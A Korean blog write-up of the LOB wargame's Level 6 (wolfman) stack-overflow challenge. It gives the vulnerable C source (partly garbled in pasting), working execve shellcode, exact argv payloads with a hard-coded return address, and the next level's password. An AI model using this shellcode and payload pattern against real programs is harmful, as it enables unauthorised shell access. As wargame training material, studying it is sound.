DongDD's IT

[LOB] Level6 wolfman 본문

Wargame/LOB

[LOB] Level6 wolfman

DongDD 2018. 1. 19. 16:15

[LOB] Level6 wolfman



Problem



이번 문제도 마찬가지로 darkelf 실행 파일과 darkelf.c 소스 코드 파일이 있었다.

소스 코드를 확인해보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
    char buffer[40];
    int i;
 
    if(argc < 2) {
        printf(“argv error\n”);
        exit(0);
    }
 
    // egghunter
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));
 
    if(argv[1][47!= ‘\xbf’)
    {
        printf(“stack is still your friend.\n”);
        exit(0);
    }
    
    // check the length of argument
    if(strlen(argv[1]) > 48) {
        printf(“argument is too long!\n”);
        exit(0);
    }
    
    strcpy(buffer, argv[1]);
    printf(“%s\n”, buffer);
 
    // buffer hunter
    memset(buffer, 040);
}
 
cs


이번 문제도 저번 문제와 비슷한 형태의 프로그램이었다. 40 bytes의 크기를 가진 buffer가 있었고 extern을 통해 환경 변수를 가져와 memset()함수를 통해 초기화된다. 그리고 argv[1]의 48번째 문자가 "\xbf"가 아니면 프로그램이 종료된다. 저번 문제와 마찬가지로 stack 영역에 있는 값을 return address로 사용해야 하는 문제 같았다.

저번 문제와 다른 점은 argv[1]의 길이를 비교하는 구문이 생겼다는 것이다. argv[1]의 길이가 48보다 크다면 프로그램이 종료되고 아니라면 strcpy를 통해 argv[1]을 buffer에 넣고 마지막에 buffer를 초기화시켜준다.


일단 환경 변수 사용은 어려워 보이고 48 이하의 argv[1]을 사용해야하고 buffer가 초기화 되므로 buffer에 shell code를 넣는 것도 어려워보인다.

저번 문제에서 argv[2]를 이용해서 풀었는데 그대로 풀면 될 것 같았다. 길이 비교가 생긴 이유는 잘 모르겠지만 아마 전 문제에 다른 방법이 있는 것 같다.



Solution


이번 문제에서도 argv[2]에 shell code를 넣고 argv[2]의 주소를 return address에 넣어주는 방식으로 해결했다.


1. argv[2]에 Shell code 이용


gdb 실행을 위해 darkelf 파일을 aarkelf 파일로 복사했다.



dummy를 넣고 return address에 argv[2]의 주소를 넣기 위해 argv[2]의 주소를 찾았다. argv[2]에는 "\x90"(NOP)*20개와 shell code(24 bytes)를 사용할 것이기 때문에 총 44 bytes 크기의 값을 넣었다.

argv[2]의 주소를 확인해보니 0xbffffc40 언저리 쯤에 있었다.

NOP을 사용하기 때문에 어느정도 떨어진 위치인 0xbffffc44라고 생각하고 payload를 작성해 실행해보았다.


argv[2] 주소 : 0xbffffc44


사용한 Shell code(24 bytes) \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80


위 정보를 가지고 Payload를 작성했다.


Payload = dummy(44 bytes) + return address(argv[2]의 주소)  "\x90"*20(NOP) + Shell code(24 bytes)


위와 같은 Payload를 사용했다. argv[2]를 사용했기 때문에 추가된 argv[1] 길이 검사에 영향을 받지 않았고 통과할 수 있었다.

저번 문제와 같은 방법으로 해결한 것 같다.






**************     Answer & Flag     **************



1. argv[2]에 Shell code 이용


Payload = dummy(44 bytes) + return address(argv[2]의 주소)  "\x90"*20(NOP) + Shell code(24 bytes)


argv[1] = "A"*44+ "\x44\xfc\xff\xbf"

argv[2] = "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"



Next ID : darkelf

Next PW : kernel crashed

'Wargame > LOB' 카테고리의 다른 글

[LOB] Level8 orge  (0) 2018.01.20
[LOB] Level7 darkelf  (0) 2018.01.19
[LOB] Level5 orc  (0) 2018.01.18
[LOB] Level4 goblin  (0) 2018.01.17
[LOB] Level3 cobolt  (0) 2018.01.16
Comments